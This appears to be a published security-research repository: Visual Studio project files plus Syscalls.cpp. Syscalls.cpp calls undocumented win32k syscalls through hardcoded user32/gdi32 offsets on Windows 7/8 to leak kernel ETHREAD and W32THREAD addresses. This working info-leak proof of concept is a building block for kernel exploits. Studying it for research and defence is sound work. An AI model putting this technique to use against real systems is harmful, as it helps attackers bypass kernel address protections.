<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<SDLCheck>true</SDLCheck>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<Text Include="ReadMe.txt" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="stdafx.h" />
<ClInclude Include="targetver.h" />
</ItemGroup>
<ItemGroup>
<ClCompile Include="stdafx.cpp">
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">Create</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">Create</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">Create</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">Create</PrecompiledHeader>
</ClCompile>
<ClCompile Include="Syscalls.cpp" />
</ItemGroup>
<ItemGroup>
<MASM Include="asm_funcs.asm" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" />
</ImportGroup>
</Project> | {
"repo_name": "sam-b/windows_kernel_address_leaks",
"stars": "502",
"repo_language": "C++",
"file_name": "stdafx.cpp",
"mime_type": "text/x-c"
} |
_DATA SEGMENT
_DATA ENDS
_TEXT SEGMENT
PUBLIC get_rax
get_rax PROC
ret
get_rax ENDP
_TEXT ENDS
END | {
"repo_name": "sam-b/windows_kernel_address_leaks",
"stars": "502",
"repo_language": "C++",
"file_name": "stdafx.cpp",
"mime_type": "text/x-c"
} |
// Syscalls.cpp : Defines the entry point for the console application.
//
#include "stdafx.h"
#include <Windows.h>
#include <Winddi.h>
#ifdef _WIN64
//win8, 64bit
#define NtUserModifyUserStartupInfoFlagsAddress 0x263F0
#define NtUserGetAsyncKeyStateAddress 0x3B30
#define NtGdiPATHOBJ_vEnumStartClipLinesAddress 0x67590
#else
//win7, 32bit
#define NtUserModifyUserStartupInfoFlagsAddress 0x64D4B
#define NtUserGetAsyncKeyStateAddress 0xA2F4
#define NtGdiFONTOBJ_vGetInfoAddress 0x47123
#define NtGdiPATHOBJ_vEnumStartClipLinesAddress 0x47263
#endif
typedef DWORD(NTAPI * lNtUserModifyUserStartupInfoFlags)(DWORD Set, DWORD Flags);
typedef DWORD(NTAPI *lNtUserGetAsyncKeyState)(DWORD key);
typedef VOID(NTAPI * lNtGdiFONTOBJ_vGetInfo)(FONTOBJ *pfo, ULONG cjSize, FONTINFO *pfi);
typedef VOID(NTAPI * lNtGdiPATHOBJ_vEnumStartClipLines)(PATHOBJ *ppo, CLIPOBJ *pco, SURFOBJ *pso, LINEATTRS *pla);
extern "C" unsigned long long get_rax();
int main()
{
HMODULE hUser32 = LoadLibraryA("user32.dll");
if (hUser32 == NULL) {
printf("Failed to load user32");
return 1;
}
lNtUserGetAsyncKeyState pNtUserGetAsyncKeyState = (lNtUserGetAsyncKeyState)((DWORD_PTR)hUser32 + NtUserGetAsyncKeyStateAddress);
pNtUserGetAsyncKeyState(20);
#ifdef _WIN64
unsigned long long ethread = get_rax();
printf("NtUserGetAsyncKeyState ETHREAD partial disclosure: 0x%llx\r\n", ethread);
#else
unsigned int ethread = 0;
__asm {
mov ethread, eax;
}
printf("NtUserGetAsyncKeyState ETHREAD partial disclosure: 0x%X\r\n", ethread);
#endif
lNtUserModifyUserStartupInfoFlags pNtUserModifyUserStartupInfoFlags = (lNtUserModifyUserStartupInfoFlags)((DWORD_PTR)hUser32 + NtUserModifyUserStartupInfoFlagsAddress);
pNtUserModifyUserStartupInfoFlags(20, 12);
#ifdef _WIN64
unsigned long long ethread_full = get_rax();
printf("NtUserModifyUserStartupInfoFlags ETHREAD full disclosure: 0x%llx\r\n", ethread_full);
#else
unsigned ethread_full = 0;
__asm {
mov ethread_full, eax;
}
printf("NtUserModifyUserStartupInfoFlags ETHREAD full disclosure: 0x%X\r\n", ethread_full);
#endif
HMODULE hGDI32 = LoadLibraryA("gdi32.dll");
if (hGDI32 == NULL) {
printf("Failed to load gdi32");
return 1;
}
#ifndef _WIN64
lNtGdiFONTOBJ_vGetInfo pNtGdiFONTOBJ_vGetInfo = (lNtGdiFONTOBJ_vGetInfo)((DWORD_PTR)hGDI32 + NtGdiFONTOBJ_vGetInfoAddress);
FONTOBJ surf = { 0 };
FONTINFO finfo = { 0 };
pNtGdiFONTOBJ_vGetInfo(&surf, 123, &finfo);
long int w32thread = 0;
__asm {
mov w32thread, eax;
}
printf("NtGdiEngUnLockSurface W32THREAD full disclosure: 0x%X\r\n", w32thread);
#endif
lNtGdiPATHOBJ_vEnumStartClipLines pNtGdiPATHOBJ_vEnumStartClipLines = (lNtGdiPATHOBJ_vEnumStartClipLines)((DWORD_PTR)hGDI32 + NtGdiPATHOBJ_vEnumStartClipLinesAddress);
PATHOBJ pathobj = { 0 };
CLIPOBJ pco = { 0 };
SURFOBJ pso = { 0 };
LINEATTRS pla = { 0 };
pNtGdiPATHOBJ_vEnumStartClipLines(&pathobj, &pco, &pso, &pla);
#ifdef _WIN64
unsigned long long w32thread = get_rax();
printf("NtGdiPATHOBJ_vEnumStartClipLines W32THREAD full disclosure: 0x%llx\r\n", w32thread);
#else
w32thread = 0;
__asm {
mov w32thread, eax;
}
printf("NtGdiPATHOBJ_vEnumStartClipLines W32THREAD full disclosure: 0x%X\r\n", w32thread);
#endif
return 0;
}
| {
"repo_name": "sam-b/windows_kernel_address_leaks",
"stars": "502",
"repo_language": "C++",
"file_name": "stdafx.cpp",
"mime_type": "text/x-c"
} |
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="Source Files">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
</Filter>
<Filter Include="Header Files">
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
<Extensions>h;hh;hpp;hxx;hm;inl;inc;xsd</Extensions>
</Filter>
<Filter Include="Resource Files">
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
</Filter>
</ItemGroup>
<ItemGroup>
<Text Include="ReadMe.txt" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="stdafx.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="targetver.h">
<Filter>Header Files</Filter>
</ClInclude>
</ItemGroup>
<ItemGroup>
<ClCompile Include="Syscalls.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="stdafx.cpp" />
</ItemGroup>
<ItemGroup>
<MASM Include="asm_funcs.asm">
<Filter>Source Files</Filter>
</MASM>
</ItemGroup>
</Project> | {
"repo_name": "sam-b/windows_kernel_address_leaks",
"stars": "502",
"repo_language": "C++",
"file_name": "stdafx.cpp",
"mime_type": "text/x-c"
} |
// stdafx.cpp : source file that includes just the standard includes
// Syscalls.pch will be the pre-compiled header
// stdafx.obj will contain the pre-compiled type information
#include "stdafx.h"
// TODO: reference any additional headers you need in STDAFX.H
// and not in this file
| {
"repo_name": "sam-b/windows_kernel_address_leaks",
"stars": "502",
"repo_language": "C++",
"file_name": "stdafx.cpp",
"mime_type": "text/x-c"
} |
Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio 14
VisualStudioVersion = 14.0.25420.1
MinimumVisualStudioVersion = 10.0.40219.1
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "NtSystemDebugControl_SysDbgGetTriageDump", "NtSystemDebugControl_SysDbgGetTriageDump\NtSystemDebugControl_SysDbgGetTriageDump.vcxproj", "{FDE7CF0B-61FE-417C-8AA2-9728D4B119C1}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|x64 = Debug|x64
Debug|x86 = Debug|x86
Release|x64 = Release|x64
Release|x86 = Release|x86
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{FDE7CF0B-61FE-417C-8AA2-9728D4B119C1}.Debug|x64.ActiveCfg = Debug|x64
{FDE7CF0B-61FE-417C-8AA2-9728D4B119C1}.Debug|x64.Build.0 = Debug|x64
{FDE7CF0B-61FE-417C-8AA2-9728D4B119C1}.Debug|x86.ActiveCfg = Debug|Win32
{FDE7CF0B-61FE-417C-8AA2-9728D4B119C1}.Debug|x86.Build.0 = Debug|Win32
{FDE7CF0B-61FE-417C-8AA2-9728D4B119C1}.Release|x64.ActiveCfg = Release|x64
{FDE7CF0B-61FE-417C-8AA2-9728D4B119C1}.Release|x64.Build.0 = Release|x64
{FDE7CF0B-61FE-417C-8AA2-9728D4B119C1}.Release|x86.ActiveCfg = Release|Win32
{FDE7CF0B-61FE-417C-8AA2-9728D4B119C1}.Release|x86.Build.0 = Release|Win32
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
EndGlobal
| {
"repo_name": "sam-b/windows_kernel_address_leaks",
"stars": "502",
"repo_language": "C++",
"file_name": "stdafx.cpp",
"mime_type": "text/x-c"
} |
// stdafx.h : include file for standard system include files,
// or project specific include files that are used frequently, but
// are changed infrequently
//
#pragma once
#include "targetver.h"
#include <stdio.h>
#include <tchar.h>
// TODO: reference additional headers your program requires here
| {
"repo_name": "sam-b/windows_kernel_address_leaks",
"stars": "502",
"repo_language": "C++",
"file_name": "stdafx.cpp",
"mime_type": "text/x-c"
} |
========================================================================
CONSOLE APPLICATION : NtSystemDebugControl_SysDbgGetTriageDump Project Overview
========================================================================
AppWizard has created this NtSystemDebugControl_SysDbgGetTriageDump application for you.
This file contains a summary of what you will find in each of the files that
make up your NtSystemDebugControl_SysDbgGetTriageDump application.
NtSystemDebugControl_SysDbgGetTriageDump.vcxproj
This is the main project file for VC++ projects generated using an Application Wizard.
It contains information about the version of Visual C++ that generated the file, and
information about the platforms, configurations, and project features selected with the
Application Wizard.
NtSystemDebugControl_SysDbgGetTriageDump.vcxproj.filters
This is the filters file for VC++ projects generated using an Application Wizard.
It contains information about the association between the files in your project
and the filters. This association is used in the IDE to show grouping of files with
similar extensions under a specific node (for e.g. ".cpp" files are associated with the
"Source Files" filter).
NtSystemDebugControl_SysDbgGetTriageDump.cpp
This is the main application source file.
/////////////////////////////////////////////////////////////////////////////
Other standard files:
StdAfx.h, StdAfx.cpp
These files are used to build a precompiled header (PCH) file
named NtSystemDebugControl_SysDbgGetTriageDump.pch and a precompiled types file named StdAfx.obj.
/////////////////////////////////////////////////////////////////////////////
Other notes:
AppWizard uses "TODO:" comments to indicate parts of the source code you
should add to or customize.
/////////////////////////////////////////////////////////////////////////////
| {
"repo_name": "sam-b/windows_kernel_address_leaks",
"stars": "502",
"repo_language": "C++",
"file_name": "stdafx.cpp",
"mime_type": "text/x-c"
} |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.